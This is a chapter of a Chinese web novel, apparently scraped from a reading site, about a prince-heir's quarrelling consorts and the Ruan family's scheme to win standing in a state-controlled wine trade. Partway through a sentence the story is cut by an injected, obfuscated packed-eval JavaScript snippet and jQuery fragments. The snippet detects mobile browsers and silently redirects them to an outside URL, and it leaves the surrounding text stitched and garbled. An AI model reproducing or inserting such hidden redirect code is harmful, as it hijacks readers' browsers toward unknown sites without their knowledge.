大老爷皱了眉,“还未曾。”
阮青钰有些失望,若是贺云晟不想给阮家借这个力,那之后酒业收归官营,阮家很难出头,她能做的也就有限。
贺云晟其实并非不想借势给阮家,只是他最近有烦心事,尚未顾得上阮家的来信。
贺云晟坐在玄京城最高的酒楼中,举目望去,能看到东城的九坊十八街,视野开阔,手边是美酒佳肴,却都不能令他开怀。
“世子爷坐拥两位美人,享齐人之福,却还是这样一幅受了苦的样子。怎么,你消受不了美人恩吗?”五皇子一边笑,一边拿出扇子故作风雅。
“去你的。”贺云晟翻了翻眼皮,懒得理他。
自从贺云晟和五皇子打了一架和好后,相处得不错,经常一起玩闹。今天晴空万里,五皇子拉贺云晟出来吃酒,他却闷闷不乐的。
贺云晟的烦心事确实和他的妃子有关。
“云晟哥,你从小一副不拘束的样子,还以为你真没什么怕的,什么烦心事,说出来听听呗,我能帮你出主意。”
“你连亲都没成,还想帮我。”
“那看来真是和嫂嫂们有关了。”五皇子一副嗅到八卦的好奇样子。
贺云晟被说中心事,也不恼,他知道五皇子一直这样不太着调,索性把事情讲给他听。
“原来如此,世子妃嫂嫂人强势,管家规矩严,华姐姐体弱人也柔弱,时常被欺负。那,你给她做主不就好了。”
“你懂什么,内宅的事情细碎零散,许多事情我也不好插手,便是我不顾世子妃的体面,事事维护华儿,我也不能一直都呆在后院里,总有许多不在的时候。上次陪圣上狩猎出去几天,回来华儿已经病倒了。”
“这也好办,你不能一直在,就找个能一直在的帮手呗。有了!”五皇子想到这主意的精华之处,把扇子一收,兴奋地敲了下桌子,“你再纳一位小嫂嫂,最好是对你言听计从的那种,不仅可以分散世子妃嫂嫂的注意,让她别总是盯着华姐姐,还能在内宅多一个你的眼线和帮手,和你一起护着华姐姐,不是一举两得吗?”
贺云晟听了,默默收回期待的眼神,觉得自己真是病急乱投医,竟然听这小子来裹乱。
“你就当没听过这事儿,不许和任何人说。”
“我的嘴最严了,你还不知道。我这主意真的不错,你考虑考虑。不然,你放着娇妻美妾的,总自己去睡外书房,不知道的,还以为你有什么毛病呢。”
贺云晟又闷了一杯酒。
晚上回府,一进门就看到世子妃带来的管事等在外书房,说有几件要紧的回礼请他定夺。
这些礼尚往来的琐事,他从来不过问,世子妃却总是要他过目了才定下来,是为了示以尊重,也是为了提醒他该去世子妃那里了。
贺云晟随便看了,说:“世子妃定下的自然是好的,你去吧。”
“禀殿下,世子妃说这其中有些内情,请殿下过去说话。”?
贺云晟随手抽出书桌上一封信,在管家面前晃了晃,“我这里还有要事处置,改天再去。”
世子妃徐可言是名满玄京的才女,琴棋书画烹茶点香无一不通,尤其是一手瘦金写得颇有大家风范。
她父亲徐处两榜进士出身,年不足四十官至吏部侍郎,才干悠长,今年入阁,是朝中最年轻的阁臣,也是陛下亲自擢拔的重臣。
洞房花烛,是贺云晟第一次见到徐可言,或者说是他第一次注意到徐可言。
成亲后,贺云晟在内宅的大部分时间都在章华那里,对于徐可言,说不上喜欢不喜欢,贺云晟甚至和她算不上很熟。
但贺云晟敬重她,敬重她正妃的身份,也敬重她管家理事精干有道。
徐可言算不上大美人,但她的意气风发是那样耀眼,像是骄傲的玫瑰,即便不爱她的人,也会被她吸引。可这些人中,不包括贺云晟。
徐可言敏锐地发现,她不在贺云晟心上。
在遇到贺云晟之前,徐可言是徐家最优秀的女儿,她眼里,将来谁来配她,都是将就罢了。
可那年校场演武,贺云晟神武俊秀,赢过一切儿郎,也赢了她的心。她觉得自己再幸运不过,生来是名门闺秀,嫁给自己最想嫁的人。
可是她的夫君不爱她,他被另一个女人牵扯心神。
感受到贺云晟的疏离和漠视,她才知道,她的骄傲,那么容易碎。
她读过许多诗词诉说情肠,她本以为自己和贺云晟会像诗文里那样,成就一段世间仅有的故事。连圣上都金口玉言,他们是世间第一等的绝配。
她怎么会甘心,她要赢得夫君的心。
她尽力将王府大小事情打理得十分妥当,事事为贺云晟着想。她会告诉所有人,她才是世子的佳配。
章华却是个十足的小人,她倚仗自己和贺云晟相识于年少,缠着世子不放,又多番挑拨,她如何能忍。她要让贺云晟认清这个女人的真面目。
而事情并不如她所预料,两次三番和章华发生冲突后,贺云晟虽然去章华那里少了,却也没有来她这里。
今天,她让管事借着一些事情去请贺云晟,果然,贺云晟还是没有来。她已经十一天不曾见到贺云晟了。
贺云晟打发走了管事,瞄见了随手抽的那封信件,春晚城阮家。
阮家想借他梁公子的力想借梁家的势,想为朝廷效力。
倒是很敢想。
贺云晟靠在椅背上,手指一下一下点着桌面,又看了眼阮家的信。
也不是不行。
忽有脚步声匆匆而来,观局进来禀告,“殿下,太子殿下让李内侍来请,请您即刻入宫。”
贺云晟一下离开椅背,身体前倾:“可说了什么事情?”
“未曾。”
贺云晟立刻起身入宫。已近戌正时分,如不是急事,太子不会现在叫他进宫。
朝阳阁中,章华听到下人禀告她贺云晟的行踪,“世子妃又让人去拦殿下了,依旧没有得逞,只是后来宫里来人把殿下叫走了,不然殿下肯定是来朝阳阁的。”
章华淡淡地摆手,“殿下去哪里,不是我等该猜测的,以后不要再这样说。”
她看着皇宫的方向出神,担忧着贺云晟这么晚进宫的事情。
阮家终于收到了粱牧的回信,是两封,一封给阮家,一封让阮家
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16771489|190233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
转交光州府。
阮大老爷快速阅览后,立刻带着信去了梧桐居。阮老太爷看了信,叫来了三老爷和几位大掌柜,又是议事到深夜。
三老爷议事结束,回到三奶奶房里休息。
三奶奶已经躺下了,又得起来,她以为三老爷是想儿子了,正打算叫卷秋把想儿抱来。
三老爷却说,“让想儿睡吧,让人打水,我也洗洗歇着。”
三奶奶觉得奇怪,三老爷很少歇在这里。
只听三老爷有些兴奋说:“今天爹叫我们去议事,梁家有回信了,愿意支持我们在酒坊行会中带领大家交税。”
“那不就是交钱,有什么可高兴的?”
“可不只是交钱,是严格按照朝廷的新规矩交钱,不明确的地方,还得多交些。”
“什么?”三奶奶更不明白了。
“但这件事是我们阮家带头做,别家若有不服,自有梁家联络光州府为我们撑腰。待做好了这件事情,我们在光州乃至江州一带,隐隐就是这一行的领头人了。”
“有这样的好事,那梁家为什么会给我们撑腰?”
“因为梁家背后是朝廷,从梁家到我们都是在为朝廷效力,朝廷就能收到更多的税”,三老爷放下茶碗,又说:“你知道这主意是谁提出来的吗?”
见三老爷神秘的样子,三奶奶还真不太敢猜。
“是青钰在学堂里提出来的。”
三奶奶惊呆了。
“今天爹特意夸了我们,说我们会教孩子,将青钰教得这样聪明懂事。”
三老爷与有荣焉,三奶奶不可置信,“青钰,怎么会懂得这些?”
“自然是像我,会读书,学得好。”
三奶奶还是不能相信,但见到三老爷高兴的样子,她也高兴起来,青钰有出息,自然是好事。
第二天,大老爷将阮青钰叫过去,将昨晚议事的话简单和她说了。
阮青钰说长辈们思虑得极周全,只是有一件,“收税是朝廷的目的,不是我们的,在我们的立场,要想的是,下一步若是真的把酒业收归官营了,在现如今的机会中,我们该怎么去做,才能在今后占得先机,拿到官营的资格。”
阮大老爷点点头。
事情在按照阮青钰计划的方向进行。
阮青钰想,接下来,她需要做更多出众的事情,引起老太爷的注意,才有可能尽快探知阮林两家的秘密。
即便知道了这个秘密,她还要想办法化解。她和林深之间,还有很多步要走。
只是年关将至,一切事情都暂时搁置了,剩下的,就要等年后了。
年节之中,二房终于能回来阮家,毕竟除夕是阖家团聚的日子。
自从回来,二房不停地在老太太面前道委屈,不几日,那堵墙还没有拆,二房的份例已经恢复了。
三位奶奶带着姑娘和姨娘在老太太屋里拜年说话,老太太难得地拉着阮青钰坐在身边说话。
“三妹妹,你看,以往那个位置都是你坐,祖母身边最得喜爱的从来都是你呢。”二姑娘走到三姑娘身边悄悄说,她说的时候笑着,话语亲切,就像是姐妹间的小玩笑。